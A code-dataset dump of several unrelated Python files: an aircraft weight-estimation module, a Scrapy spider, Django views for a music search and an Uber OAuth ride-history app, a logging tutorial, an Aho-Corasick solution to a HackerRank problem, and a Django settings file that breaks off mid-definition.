self.fe1_wing.ret_chordlength()\r\n var_lambda = l_tip/l_root\r\n k_lambda = (1 + var_lambda) ** .4\r\n\r\n k_e = .9 # 4 wingmounted engines\r\n k_uc = .95 # undercarriage not wingmounted\r\n sweepangle_le = np.deg2rad(6.34)\r\n # trailing edge has no sweep angle, so the sweep angle(mid) is half the sweep angle from the leading edge\r\n sweepangle_mid = sweepangle_le * .5\r\n\r\n b = self.data_wing[0]\r\n b_s = (b/2)/(np.cos(sweepangle_le)) # b_s, span of one wing at 50% line\r\n\r\n W_des = W_TO - m_fuel\r\n\r\n tc_r = self.thickness\r\n k_b = 1 # cantilever wing\r\n\r\n b_ref = 1.905\r\n k_no = 1 + np.sqrt(b_ref/b_s)\r\n k_st = 1 + 9.06e-4 * ((b_s * np.cos(sweepangle_le))**3/(W_des)) * ((self.v_d/100)/(tc_r))**2 * np.cos(sweepangle_mid)\r\n\r\n # nmax/nult\r\n n_max = 2.1 + (10900)/(W_TO + 4540)\r\n if (n_max < 2.5):\r\n n_max = 2.5 #TODO: nmax never exceeds 2.5 with this formula!\r\n # print(\"n_max too small, set to 2.5\")\r\n elif(n_max > 3.8):\r\n n_max = 3.8\r\n # print(\"n_max too big, set to 3.8\")\r\n # print(\"n_max: {}\".format(n_max))\r\n\r\n n_ult = 1.5 * n_max\r\n # W_w = 10000 * 0.4536 # in kg, taken from table 8-5\r\n\r\n Ww_prior = 1\r\n Ww_post = 10000\r\n while abs(Ww_post - Ww_prior) > .001:\r\n Ww_prior = Ww_post\r\n Ww_term1 = constant * (k_no * k_lambda * k_e * k_uc * k_st)\r\n Ww_term2 = (k_b * n_ult * (W_des - 0.8 * Ww_prior)) ** 0.55\r\n # Ww_term2 = 60\r\n Ww_term3 = (np.power(b, 1.675)) * (np.power(tc_r, -.45))\r\n Ww_term4 = (np.power(np.cos(sweepangle_mid), -1.325))\r\n W_wbasic = Ww_term1 * Ww_term2 * Ww_term3 * Ww_term4\r\n Ww_post = W_wbasic\r\n return W_wbasic\r\n\r\n def calc_tail(self, W_TO):\r\n\r\n # k_h = 1\r\n # [S_h, S_v, streckung_h, streckung_v, b_v, h_h] = self.fe1_wing.ret_stabilizer()\r\n #\r\n # W_hor = k_h * (S_h ** .2 * self.v_d) / (np.sqrt(np.cos(np.deg2rad(streckung_h)))) * S_h\r\n # k_v = 1 + .15 * (S_h * h_h)/(S_v * b_v)\r\n # W_vert = k_v * (S_v ** .2 * self.v_d) / (np.sqrt(np.cos(np.deg2rad(streckung_v)))) * S_v\r\n\r\n # not working properly, W_hor will be set to 1.5% and W_vert t0 .5% of MTO\r\n W_hor = W_TO * .005\r\n W_vert = W_TO * .010\r\n return W_hor, W_vert\r\n\r\n def calc_gear(self, W_TO):\r\n k_uc = 1.08 # highwing a/c\r\n A_main = 18.1\r\n B_main = .131\r\n C_main = .019\r\n D_main = 2.23 * .00001\r\n A_nose = 9.1\r\n B_nose = .082\r\n C_nose = 0\r\n D_nose = 2.97 * .000001\r\n\r\n W_main = k_uc * (A_main + B_main * (W_TO ** (3 / 4)) + C_main * W_TO + D_main * (W_TO ** (3 / 2)))\r\n W_nose = k_uc * (A_nose + B_nose * (W_TO ** (3 / 4)) + C_nose * W_TO + D_nose * (W_TO ** (3 / 2)))\r\n # print(\"W_main: {}\".format(W_main))\r\n # print(\"W_nose: {}\".format(W_nose))\r\n return W_main, W_nose\r\n\r\n def calc_surfacecontrol(self, W_TO):\r\n #surface control group\r\n k_sc = .64\r\n W_sc = ((k_sc * (W_TO ** (2/3))) * .768) * 1.2\r\n return W_sc\r\n\r\n\r\n def calc_engine(self):\r\n # picking an engine\r\n # S_need = 190500\r\n # eta_ptl = .35\r\n # P_ptl = 3782 * 1000\r\n # v = self.mach_ica * self.a_ica\r\n # S_calc = eta_ptl * (P_ptl/v) * 4\r\n # print('calculated S: {}'.format(S_calc))\r\n W_eng = self.propulsion[2] # TODO: choose engine, take true weight x4\r\n return W_eng\r\n\r\n\r\n def calc_narcelle(self):\r\n eng_eshp = self.propulsion[3]\r\n W_narc = .0635 * eng_eshp * 4\r\n return W_narc\r\n\r\n\r\n def calc_apu(self):\r\n W_apu = self.propulsion[4]\r\n return W_apu\r\n\r\n\r\n def calc_ieg(self, m_de):\r\n k_ieg = .347\r\n R_D = self.mission[0]\r\n W_ieg = k_ieg * m_de**(5/9) * R_D**(.25)\r\n return W_ieg\r\n\r\n\r\n def calc_hydrpneum(self):\r\n W_hp = .277 * (self.propulsion[2] ** (4/5))\r\n return W_hp\r\n\r\n # A/C & Anti Ice\r\n def calc_acai(self):\r\n # cabin length\r\n l_pc = self.fuselage[3]\r\n W_acai = 14 * (l_pc ** 1.28)\r\n return W_acai\r\n\r\n def calc_cabin(self, W_TO):\r\n # 22 Rows, 1x3 + 1x2 each row\r\n # seats\r\n no_pax = self.mission[7]\r\n no_rows = 22\r\n W_3seat = self.cabin[0]\r\n W_2seat = self.cabin[1]\r\n W_seats = no_rows * (W_3seat + W_2seat)\r\n\r\n # galley structure\r\n W_galley = self.cabin[3] # todo: see data_specification.py\r\n\r\n # lavatory\r\n W_lav = self.cabin[2]\r\n\r\n # floor covering\r\n S_cf = self.cabin[4] # floor area cabin\r\n W_cf = .94 * S_cf\r\n\r\n # misc wall\r\n vol_cabin = self.cabin[5]\r\n vol_cargo = self.cargo[0]\r\n W_mw = 3.69 * (vol_cabin + vol_cargo)\r\n\r\n # cargo restraints and handling provision\r\n W_cr = 1.28 * vol_cargo\r\n\r\n # container or pallet cargo handling provision, only required for cargo versions TODO: cargo version?\r\n W_cpr = 0\r\n\r\n # oxygen systems (above 25.000ft cruise altitude)\r\n W_o2 = 13.6 * no_pax * .544\r\n\r\n # fire detection and extinguishing system\r\n W_fire = .003 * W_TO\r\n\r\n # escape provisions (evac. slides and ropes)\r\n W_escape = .453 * no_pax\r\n\r\n W_cabin = W_galley + W_lav + W_cf + W_mw + W_cr + W_cpr + W_o2 + W_fire + W_escape\r\n return W_cabin\r\n\r\n def operational(self):\r\n no_pax = self.mission[7]\r\n W_crew = self.crew[0]\r\n W_PCS = 2.27 * no_pax # Passenger cabin supplies\r\n W_pot = .68 * no_pax # potable water and toilet chemicals\r\n W_safety = .907 * no_pax\r\n [V_W, rhoF] = self.fe1_wing.tank()\r\n W_res_oil = .151 * (V_W * rhoF) ** (2/3)\r\n return W_crew, W_PCS, W_pot, W_safety, W_res_oil\r\n\r\n def ret_SG(self):\r\n # a bit dirty, but it is used to return the wetted area to detailed drag calculation\r\n l_t = self.r_H # TODO: check this\r\n length_fl = self.fuselage[0]\r\n height_fl = self.fuselage[1]\r\n width_fl = self.fuselage[2]\r\n dia_fl = (height_fl + width_fl) / 2\r\n lambda_fl = length_fl / dia_fl\r\n SG = np.pi * dia_fl * length_fl * ((1 - 2 / lambda_fl) ** (2 / 3)) * (\r\n 1 + 1 / (lambda_fl ** 2)) # wetted area taken from B-6\r\n return SG\r\n\r\n\r\n\r\ntorenbeek_mass().iter_all()","sub_path":"bin/mass_torenbeek.py","file_name":"mass_torenbeek.py","file_ext":"py","file_size_in_byte":11786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"489630781","text":"#import scrapy\nimport MySQLdb\nfrom scrapy.spider import Spider\n\n#from tutorial.items import DmozItem\nimport os\nimport sys\nsys.path.append(\"../\")\nsys.path.append(os.path.abspath(os.path.dirname(__file__) + '/' + '..'))\nimport json\nimport chardet\nfrom gl import SpiderPathUrl\n\nimport sys\nclass douyu(Spider):#scrapy.spiders.Spider\n\n reload(sys)\n sys.setdefaultencoding('utf-8')\n name = \"douyu\"\n allowed_domains = [\"douyu.com\"]\n start_urls = [\n #\"http://www.douyu.com/directory/game/DOTA2\"\n #\"http://www.douyu.com/directory/all\"\n \"http://www.douyu.com/directory/all?page=1&isAjax=1\",\n \"http://www.douyu.com/directory/game/qmxx?page=1&isAjax=1\"\n ]\n \n def parse(self, response):\n \n #print(response)\n \n #root_path='//div[@id=\"live-list-content\"]/ul/li'\n root_path='//li'\n title_path='.//h3[@class=\"ellipsis\"]/text()'\n href_path='.//a/@href'\n img_path='.//img/@data-original'\n author_path='.//span[@class=\"dy-name ellipsis fl\"]/text()'\n audian_path='.//span[@class=\"dy-num fr\"]/text()'\n url_prefix=\"http://www.douyu.com/\"\n vtype='.//span[@class=\"tag ellipsis\"]/text()'\n vkey='.//@data-rid'\n SpiderPathUrl.process(response,root_path,title_path,href_path,img_path,author_path,audian_path,url_prefix,vtype,vkey,\"douyu\",\"\")","sub_path":"tutorial/tutorial/spiders/douyu.py","file_name":"douyu.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"214599069","text":"from django.shortcuts import render\n\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils.decorators import method_decorator\nfrom django.views.generic import TemplateView\n\nfrom ..models import Band\nfrom django.contrib.auth.models import User\n\n\nclass TemplateView(TemplateView):\n template_name = 'musicform/home.html'\n\ndef home(request):\n context = {\n 'users': User.objects.all(),\n 'bands': Band.objects.all()\n }\n return render(request, 'musicform/home.html', context)\n\n@login_required\ndef search(request):\n if request.method == \"GET\":\n if request.GET.get('result'):\n if 'Band' == request.GET.get('filter_by'):\n result = Band.objects.filter(name__contains=request.GET['result'])\n elif 'User' == request.GET.get('filter_by'):\n result = User.objects.filter(username__contains=request.GET['result'])\n context = {\n 'users': result,\n }\n return render (request, 'musicform/profile/search_user.html', context)\n if 'location' in request.GET:\n search_location = request.GET.get('location')\n result = Band.objects.filter(name__contains=request.GET['result']).filter(location__contains=search_location)\n if not result:\n context = {\n 'bands': result,\n }\n else:\n context = {\n 'bands': result,\n 'error_message': 'No results found'\n }\n return render(request, 'musicform/status.html', context)\n return render(request, 'musicform/search.html')\n\n","sub_path":"musicform/views/home_view.py","file_name":"home_view.py","file_ext":"py","file_size_in_byte":1696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"341642686","text":"\"\"\"\nIn the previous task, only the application output was written to standard output.\nYou do not see any of the debugging statements.\n\nThere is no output because a default \"Logger\" instance was created for you by the \"logging\" module and\nthe logging level was set to WARNING level. This default \"Logger\" is also known as the \"root\" Logger.\n\nThe WARNING level is an example of how we can tag our log statements with a severity level and\nperform filtering based on the level.\n\nThe \"basicConfig()\" function is a helper method for doing basic configuration of logging.\nWithout any parameters, it will create a StreamHandler that writes logging output to the \"stderr\" output stream.\nWe can also pass a keyword argument \"level\" to set the default logger level.\n\nIn this task using \"basicConfig()\", set the logging level to a value of \"logging.DEBUG\".\nThis will allow our debug statements to show up on stderr.\n\"\"\"\nfrom __future__ import print_function\nimport math\nimport logging\n\n\ndef get_current_rate(years):\n logging.debug('Fetching current interest rate for %d years' % years)\n rate = 7.5 # Stub external service call\n logging.debug('Service returned interest rate %f' % rate)\n return rate\n\n\ndef get_monthly_payment(principal, years):\n logging.debug('Calling mortgage calculator')\n\n mon_rate = get_current_rate(years) / 1200\n payments = years * 12\n logging.debug('Number of monthly payments %d' % payments)\n result = principal * (mon_rate / (1 - math.pow((1 + mon_rate), -payments)))\n\n logging.debug('Calculated result is %f' % result)\n logging.debug('Leaving mortgage calculator')\n return result\n\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.DEBUG)\n payment = get_monthly_payment(100000, 30)\n print('Monthly payment is %f' % payment)\n","sub_path":"Basics/Log output/log_output.py","file_name":"log_output.py","file_ext":"py","file_size_in_byte":1796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"162217203","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\nfrom __future__ import absolute_import, division, print_function\n\nfrom sys import version_info\nif version_info.major == 3:\n pass\nelif version_info.major == 2:\n input = raw_input\nelse:\n print (\"Unknown python version - input function not safe\")\n\nfrom os import environ\nfrom sys import maxsize\nfrom collections import deque\nfrom sys import stdin\n#from sys import setrecursionlimit\n#setrecursionlimit (11000)\n\n\"\"\"\n6\na b c aa d b\n1 2 3 4 5 6\n3\n1 5 caaab\n0 4 xyz\n2 4 bcdybc\nout:\n0 19\n\ntc6 expected out: 239720795 3131903231\ntc7 expected out: 0 7353994\ntc14 expected out: 5042937153 8619278502\n\"\"\"\nnil = object () # used to distinguish from None\n\nclass TrieNode (object):\n \"\"\"\n Node of trie/Aho-Corasick automaton\n \"\"\"\n __slots__ = ['char', 'output', 'fail', 'children']\n\n def __init__ (self, char):\n \"\"\"\n Constructs an empty node\n \"\"\"\n self.char = char # character\n self.output = nil # an output function for this node\n self.fail = nil # fail link used by Aho-Corasick automaton\n self.children = {} # children\n\n def __repr__ (self):\n \"\"\"\n Textual representation of node.\n \"\"\"\n if self.output is not nil:\n return \"\" % (self.char, self.output)\n else:\n return \"\" % self.char\n\nclass Trie (object):\n \"\"\"\n Trie/Aho-Corasick automaton.\n \"\"\"\n def __init__ (self):\n \"\"\"\n Construct an empty trie\n \"\"\"\n self.root = TrieNode ('')\n\n def __get_node (self, word):\n \"\"\"\n Private function retrieving a final node of trie\n for given word\n Returns node or None, if the trie doesn't contain the word.\n \"\"\"\n node = self.root\n for c in word:\n try: node = node.children [c]\n except KeyError: return None\n return node\n\n def get (self, word, default=nil):\n \"\"\"\n Retrieves output value associated with word.\n If there is no word returns default value,\n and if default is not given rises KeyError.\n \"\"\"\n node = self.__get_node (word)\n output = nil\n if node: output = node.output\n if output is nil:\n if default is nil:\n raise KeyError (\"no key '%s'\" % word)\n else: return default\n else: return output\n\n def keys (self):\n \"\"\"\n Generator returning all keys (i.e. word) stored in trie\n \"\"\"\n for key, _ in self.items ():\n yield key\n\n def values (self):\n \"\"\"\n Generator returning all values associated with words stored in a trie.\n \"\"\"\n for _, value in self.items ():\n yield value\n\n def items (self):\n \"\"\"\n Generator returning all keys and values stored in a trie.\n \"\"\"\n L = []\n def aux (node, s):\n s = s + node.char\n if node.output is not nil:\n L.append ((s, node.output))\n\n for child in node.children.values ():\n if child is not node:\n aux (child, s)\n aux (self.root, '')\n return iter (L)\n\n def __len__ (self):\n \"\"\"\n Calculates number of words in a trie.\n \"\"\"\n stack = deque ()\n stack.append (self.root)\n n = 0\n while stack:\n node = stack.pop ()\n if node.output is not nil:\n n += 1\n for child in node.children.values ():\n stack.append (child)\n return n\n\n def add_word (self, word, value):\n \"\"\"\n Adds word and associated value.\n If word already exists, its value is replaced. -> no!\n changed to add value to list, because different value\n \"\"\"\n if not word: return\n node = self.root\n for c in word:\n try: node = node.children [c]\n except KeyError:\n n = TrieNode (c)\n node.children [c] = n\n node = n\n if node.output == nil:\n node.output = [value]\n else: node.output.append (value)\n\n def clear (self):\n \"\"\"\n Clears trie.\n \"\"\"\n self.root = TrieNode ('')\n\n def exists (self, word):\n \"\"\"\n Checks if whole word is present in the trie.\n \"\"\"\n node = self.__get_node (word)\n if node: return bool (node.output != nil)\n else: return False\n\n def match (self, word):\n \"\"\"\n Checks if word is a prefix of any existing word in the trie.\n \"\"\"\n return (self.__get_node (word) is not None)\n\n\n def make_automation (self):\n \"\"\"\n Converts trie to Aho-Corasick automaton.\n \"\"\"\n queue = deque ()\n # 1.\n for i in range (256):\n c = chr (i)\n if c in self.root.children:\n node = self.root.children [c]\n node.fail = self.root\n queue.append (node)\n else:\n self.root.children [c] = self.root\n # 2.\n while queue:\n r = queue.popleft ()\n for node in r.children.values ():\n queue.append (node)\n state = r.fail\n while node.char not in state.children:\n state = state.fail\n node.fail = state.children.get (node.char, self.root)\n\n def iter (self, string):\n \"\"\"\n Generator performs Aho-Corasick search string algorithm, yielding\n tuples containing two values:\n - position in string\n - outputs associated with matched strings\n \"\"\"\n state = self.root\n for index, c in enumerate (string):\n while c not in state.children:\n state = state.fail\n state = state.children.get (c, self.root)\n tmp = state\n output = []\n while tmp is not nil:\n if tmp.output is not nil:\n output.append (tmp.output)\n tmp = tmp.fail\n if output: yield (index, output)\n\n def iter_long (self, string):\n \"\"\"\n Generator performs a modified Aho-Corasick search string algorithm,\n which maches only the longest word.\n \"\"\"\n state = self.root\n last = None\n index = 0\n while index < len (string):\n c = string [index]\n if c in state.children:\n state = state.children [c]\n if state.output is not nil:\n # save the last node on the path\n last = (state.output, index)\n index += 1\n else:\n # return the saved match\n if last:\n yield last\n # and start over, as we don't want overlapped results\n # Note: this leads to quadratic complexity in the worst case\n index = last [1] + 1\n state = self.root\n last = None\n else:\n # if no output, perform classic Aho-Corasick algorithm\n while c not in state.children:\n state = state.fail\n # corner case\n if last:\n yield last\n\n def find_all (self, string, callback):\n \"\"\"\n Wrapper on iter method, callback gets an iterator result\n \"\"\"\n for index, output in self.iter (string):\n callback (index, output)\n\n\"\"\"\nDemonstration of work\n#####################\nwords = ['a', 'ab', 'abc', 'bc', 'c', 'cba']\nt = Trie ()\nfor w in words:\n t.add_word (w, w)\ns = \"caaab\"\nt.make_automation ()\nfor res in t.iter (s):\n print\n print ('%s' % s)\n pos, matches = res\n for fragment in matches:\n print ('%s%s' % ((pos - len (fragment) + 1) * ' ', fragment))\n\"\"\"\n\ndef determiningDNAhealth (n, g, h, fldL):\n mn = maxsize; mx = 0\n t = Trie ()\n for i in range (n):\n gen = g [i]\n t.add_word (gen, (gen, i, h [i]))\n t.make_automation ()\n print (\"root created\")\n\n for f, l, d in fldL:\n ln = len (d)\n sm = 0\n for pos, matches in t.iter (d):\n for match in matches:\n# print (\"match\", match)\n for gen, ix, h in match:\n# print (gen, ' ' * (4 - len (gen)), pos, ix, h)\n if ix >= f and ix <= l: sm += h\n# print (t.get (\"b\"))\n# t.find_all (d, print)\n mn = min (sm, mn)\n mx = max (sm, mx)\n return str (mn) + \" \" + str (mx)\n\ndef main ():\n fptr = open (environ ['OUTPUT_PATH'], 'w')\n n = int (input ())\n genes = stdin.readline ().rstrip ().split ()\n health = list (map (int, stdin.readline ().rstrip ().split ()))\n s = int (input ())\n fldL = []\n for _ in range (s):\n [first, last, d] = stdin.readline ().split ()\n fldL.append ((int (first), int (last), d))\n result = determiningDNAhealth (n, genes, health, fldL)\n print (result)\n fptr.write (result + '\\n')\n fptr.close ()\n\nif __name__ == '__main__':\n main ()\n","sub_path":"2017/hackerrank/determiningDNAhealth_Aho_Mula.py","file_name":"determiningDNAhealth_Aho_Mula.py","file_ext":"py","file_size_in_byte":9188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"380712949","text":"from django.shortcuts import render\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.conf import settings\nfrom rauth import OAuth2Service\nfrom urlparse import urlparse\nimport requests, json, datetime\nfrom uber.models import User, Ride\nfrom django.utils import timezone\n\njson_config = open('uber/config.json')\nconfig = json.load(json_config)\n\n# Create your views here.\n\ndef generate_oauth_service():\n\t\"\"\" Prepare the OAuth2Service that is used to make requests later \"\"\"\n\treturn OAuth2Service(\n\t\tclient_id = settings.UBER_CLIENT_ID,\n\t\tclient_secret = settings.UBER_CLIENT_SECRET,\n\t\tname = config.get('name'),\n\t authorize_url=config.get('authorize_url'),\n\t access_token_url=config.get('access_token_url'),\n\t base_url=config.get('base_uber_url')\n\t)\n\ndef generate_ride_headers(token):\n\t\"\"\"Generate the header object that is used to make API requests \"\"\"\n\treturn {\n\t\t'Authorization': 'bearer %s' % token,\n\t\t'Content-Type': 'application/json',\n\t}\n\ndef health(request):\n\t\"\"\" Check if the app is ok \"\"\"\n\treturn HttpResponse(\"All Ok\")\n\ndef index(request):\n\t\"\"\" landing page \"\"\"\n\t# make it look good, bootstrap fun!! \n\treturn render(request, 'uber/home.html')\n\n\ndef start_oauth(request):\n\t\"\"\" The first step in three-legged OAuth handshake \"\"\"\n\n\tuber = generate_oauth_service()\n\n\tparams = {\n 'response_type': 'code',\n 'redirect_uri': config.get('redirect_uri'),\n 'scopes': ','.join(config.get('scopes'))\n\t}\n\n\turl = uber.get_authorize_url(**params)\n\treturn HttpResponseRedirect(url)\n\n\ndef submit(request):\n\t\"\"\" Second step in OAuth. The user gets redirected back to our app, we need to get the code and swapit for a token \"\"\"\n\n\t# retrieve the code from the URL (get param) that we received back from the server\n\tparams = {\n\t\t'grant_type': 'authorization_code',\n\t\t'redirect_uri': config.get('redirect_uri'),\n 'code': request.GET.get('code')\n }\n\n # swap the code for an access token that grants the appropriate privilege needed\n\tresponse = requests.post(\n\t\tconfig.get('access_token_url'),\n\t\tauth=(settings.UBER_CLIENT_ID, settings.UBER_CLIENT_SECRET),\n\t\tdata=params,\n\t)\n\n\trequest.session['access_token'] = response.json().get('access_token')\n\n\t# store this users data in the databasedd\n\tlook_up_profile(request)\n\n\t# we have the access token - time to show some stuff\n\treturn HttpResponseRedirect(\"history\")\n\t\ndef history(request):\n\t\t# look up history but only look at last 50, looks like they paginate\n\n\ttotal_distance_travelled = 0\n\tlongest_ride = 0\n\tshortest_ride = 0\n\tdate_of_first_ride = timezone.now()\n\n\n\tuser = User.objects.get(uber_uuid = request.session['user_uuid'])\n\n\trides = user.ride_set.all()\n\n\t#params = {\n\t#\t'offset':0,\n\t#\t'limit':50,\n\t#}\n\n\t# issue the POST \n\t#response_history = requests.get(\n\t#\tconfig.get('base_uber_url_v1_1') + \"history\",\n\t#\theaders= generate_ride_headers(request.session['access_token']),\n\t#\tparams = params,\n\t#)\n\n\t#response_decoded = json.loads(response_history.text)\n\n\tfor ride in rides:\n\t\ttotal_distance_travelled += ride.distance\n\t\tif ride.distance > longest_ride:\n\t\t\tlongest_ride = ride.distance\n\n\t\tif shortest_ride == 0:\n\t\t\tshortest_ride = ride.distance\n\t\telif ride.distance < shortest_ride:\n\t\t\tshortest_ride = ride.distance\n\n\t\tif ride.start_time < date_of_first_ride:\n\t\t\tdate_of_first_ride = ride.start_time\n\n\n\ttotal_distance_travelled = round (total_distance_travelled,2)\n\n\treturn render(request, 'uber/history.html', {'ride_history': rides, 'total_distance_travelled': total_distance_travelled, 'longest_ride': longest_ride, 'shortest_ride': shortest_ride, 'date_of_first_ride':date_of_first_ride})\n\n\ndef look_up_profile(request):\n\t# look up the user and save the user info in the db\n\n\tresponse_me = requests.get(\n\t\tconfig.get('base_uber_url') + \"me\", \n\t\theaders = generate_ride_headers(request.session['access_token']),\n\t)\n\n\tresponse_decoded = json.loads(response_me.text)\n\n\tuser = User(first_name = response_decoded['first_name'], last_name = response_decoded['last_name'], \n\t\temail = response_decoded['email'], uber_uuid = response_decoded['uuid'])\n\n\tuser.save()\n\n\trequest.session['user_uuid'] = response_decoded['uuid']\n\n\t# look up all the users rides and save it\n\tparams = {\n\t\t'offset':0,\n\t\t'limit':50,\n\t}\n\n\tresponse_history = requests.get(\n\t\tconfig.get('base_uber_url_v1_1') + \"history\",\n\t\theaders= generate_ride_headers(request.session['access_token']),\n\t\tparams = params,\n\t)\n\n\tresponse_decoded = json.loads(response_history.text)\n\n\tfor ride in response_decoded['history']:\n\t\tr = Ride(user = user, \n\t\t\tuuid =ride['uuid'],\n\t\t\trequest_time = datetime.datetime.fromtimestamp(ride['request_time']),\n\t\t\tproduct_id = ride['product_id'],\n\t\t\tstatus = ride['status'],\n\t\t\tdistance = ride['distance'],\n\t\t\tstart_time = datetime.datetime.fromtimestamp(ride['start_time']),\n\t\t\tend_time = datetime.datetime.fromtimestamp(ride['end_time'])\n\t\t)\n\t\tr.save()\n\n\treturn\n","sub_path":"uber/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"214057906","text":"\"\"\"\nCommon settings and globals.\n\nSee:\n - https://docs.djangoproject.com/en/dev/topics/settings/\n - https://docs.djangoproject.com/en/dev/ref/settings/\n\"\"\"\n\nimport re\n\nimport environ\n\n# -------------------------------------\n# GENERAL SETUP\n# -------------------------------------\n\n# Paths\n# =====================================\n# Paths here the `environ.Path` which provides a special api around os paths.\n#\n# How to use:\n#\n# # Get the path as a string\n# PROJECT_PATH()\n#\n# # Get a sub-directory or file path as a string\n# # Note: This calls the path directly and not through .path\n# PROJECT_PATH(\"static\")\n# PROJECT_PATH(\"foo.json\")\n#\n# # Get a path as an environ Path object\n# PROJECT_PATH.path(\"static\")\n#\n# Docs:\n# - https://github.com/joke2k/django-environ\n\nWORKING_PATH = environ.Path(__file__) - 1\n\nDJANGO_PATH = WORKING_PATH - 4\n\nPROJECT_PATH = DJANGO_PATH.path(\"project\")\n\nAPP_PATH = PROJECT_PATH.path(\"app\")\n\n# Env\n# =====================================\n\nenv = environ.Env()\nenviron.Env.read_env(DJANGO_PATH(\".env\"))\n\n# -------------------------------------\n# DJANGO CONFIGURATION\n# -------------------------------------\n\n# Django Setup\n# =====================================\n\nWSGI_APPLICATION = \"app.config.wsgi.application\"\n\nROOT_URLCONF = \"app.config.urls\"\n\nDEBUG = env.bool(\"DEBUG\", default=False)\n\nSITE_ID = 1\n\n# NOTE: DEFAULT_SITE_ID is part of some custom middleware for DjangoCMS,\n# See: app/cms/middleware.py\nDEFAULT_SITE_ID = SITE_ID\n\nADMINS = ()\n\nMANAGERS = ADMINS\n\nFIXTURE_DIRS = (PROJECT_PATH(\"fixtures\"),)\n\nSECRET_KEY = env(\"SECRET_KEY\")\n\n# NOTE: Expects ALLOWED_HOSTS=host1,host2,host3\nALLOWED_HOSTS = env.list(\"ALLOWED_HOSTS\", default=[\"localhost\"])\n\n# NOTE: Expects a domain, like www.foobar.com\nENFORCE_HOST = env(\"ENFORCE_HOST\", default=\"\")\n\n\n# NOTE: Takes seconds, careful with this if site it not under HTTPS\nSECURE_HSTS_SECONDS = env.int(\"SECURE_HSTS_SECONDS\", default=0)\n\nSECURE_HSTS_INCLUDE_SUBDOMAINS = env.bool(\n \"SECURE_HSTS_INCLUDE_SUBDOMAINS\", default=False\n)\n\nSECURE_PROXY_SSL_HEADER = (\"HTTP_X_FORWARDED_PROTO\", \"https\")\n\nSECURE_SSL_REDIRECT = env.bool(\"SECURE_SSL_REDIRECT\", default=False)\n\nSESSION_COOKIE_SECURE = env.bool(\"SESSION_COOKIE_SECURE\", default=False)\n\nCRSF_COOKIE_SECURE = env.bool(\"CRSF_COOKIE_SECURE\", default=False)\n\nSECURE_BROWSER_XSS_FILTER = env.bool(\"SECURE_BROWSER_XSS_FILTER\", default=False)\n\nX_FRAME_OPTIONS = env(\"X_FRAME_OPTIONS\", default=\"SAMEORIGIN\")\n\nUSE_HTTPS_FOR_ASSETS = env.bool(\"USE_HTTPS_FOR_ASSETS\", False)\n\n# Installed Apps\n# =====================================\n# Order matters, loosely here; i.e., some apps may need to come after others.\n# See:\n# * https://goo.gl/DJMuuG\n# * https://goo.gl/55D52S\n\nINSTALLED_APPS = [\n # NOTE: Order matters here\n \"django.contrib.auth\",\n # NOTE: End of \"Order matters...\"\n \"django.contrib.contenttypes\",\n \"django.contrib.sessions\",\n \"django.contrib.sites\",\n \"django.contrib.sitemaps\",\n \"django.contrib.messages\",\n \"django.contrib.staticfiles\",\n \"django.contrib.redirects\",\n \"django.contrib.admin\",\n \"django.contrib.gis\",\n \"django.contrib.gis.geoip2\",\n \"django_extensions\",\n \"storages\",\n \"rest_framework\",\n \"rest_framework.authtoken\",\n \"parler\",\n \"crispy_forms\",\n # \"menus\",\n # \"sekizai\",\n # \"treebeard\",\n \"filer\",\n \"easy_thumbnails\",\n \"corsheaders\",\n \"app.devoff\",\n]\n\n# Expects INSTALLED_APPS=foo,bar,baz\nINSTALLED_APPS += env.list(\"INSTALLED_APPS\", default=[])\n\n# Middleware\n# =====================================\n# Note:\n# * Order matters here.\n#\n# See:\n# * Django Default Middleware: https://goo.gl/3McLNt\n# * Django i18n Middleware: https://goo.gl/TkmjJZ\n# * Django WhiteNoise Middleware: https://goo.gl/b5nztY\n\nMIDDLEWARE = [\n \"whitenoise.middleware.WhiteNoiseMiddleware\",\n \"django.middleware.cache.UpdateCacheMiddleware\",\n \"django.middleware.security.SecurityMiddleware\",\n \"django.contrib.sessions.middleware.SessionMiddleware\",\n \"django.middleware.locale.LocaleMiddleware\",\n \"corsheaders.middleware.CorsMiddleware\",\n \"django.middleware.common.CommonMiddleware\",\n \"django.middleware.csrf.CsrfViewMiddleware\",\n \"django.middleware.gzip.GZipMiddleware\",\n \"django.contrib.auth.middleware.AuthenticationMiddleware\",\n \"django.contrib.messages.middleware.MessageMiddleware\",\n \"django.middleware.clickjacking.XFrameOptionsMiddleware\",\n \"django.contrib.redirects.middleware.RedirectFallbackMiddleware\",\n \"django.middleware.cache.FetchFromCacheMiddleware\",\n]\n\nMIDDLEWARE += env.list(\"MIDDLEWARE\", default=[])\n\nif ENFORCE_HOST:\n MIDDLEWARE = [\"enforce_host.EnforceHostMiddleware\"] + MIDDLEWARE\n\n# Databases\n# =====================================\n# NOTE: DATABASE_URL format:\n# postgres://USER:PASSWORD@HOST:PORT/NAME\n# See: https://github.com/kennethreitz/dj-database-url\n\nDATABASES = {\n \"default\": env.db(\n \"DATABASE_URL\", default=\"postgres://postgres:postgres@postgres/postgres\"\n )\n}\n\n# NOTE: Setting \"ENGINE\" separately becuase Heroku defaults to postgres://\n# which sets the backend to django.db.backends.postgresql_psycopg2.\nDATABASES[\"default\"][\"ENGINE\"] = \"django.contrib.gis.db.backends.postgis\"\n\n# Geo Django\n# =====================================\n# See:\n# * GeoDjango Installation: https://goo.gl/ErkUXv\n# * Geolocation with GeoLite2: https://goo.gl/Pk6BDT\n# * GeoLite Databases: https://goo.gl/aHoCRm\n\nGEOIP_PATH = PROJECT_PATH(\"geo_data\")\n\n# Logging\n# =====================================\n\nLOG_LEVEL = env(\"LOG_LEVEL\", default=\"ERROR\")\n\nLOGGING = {\n 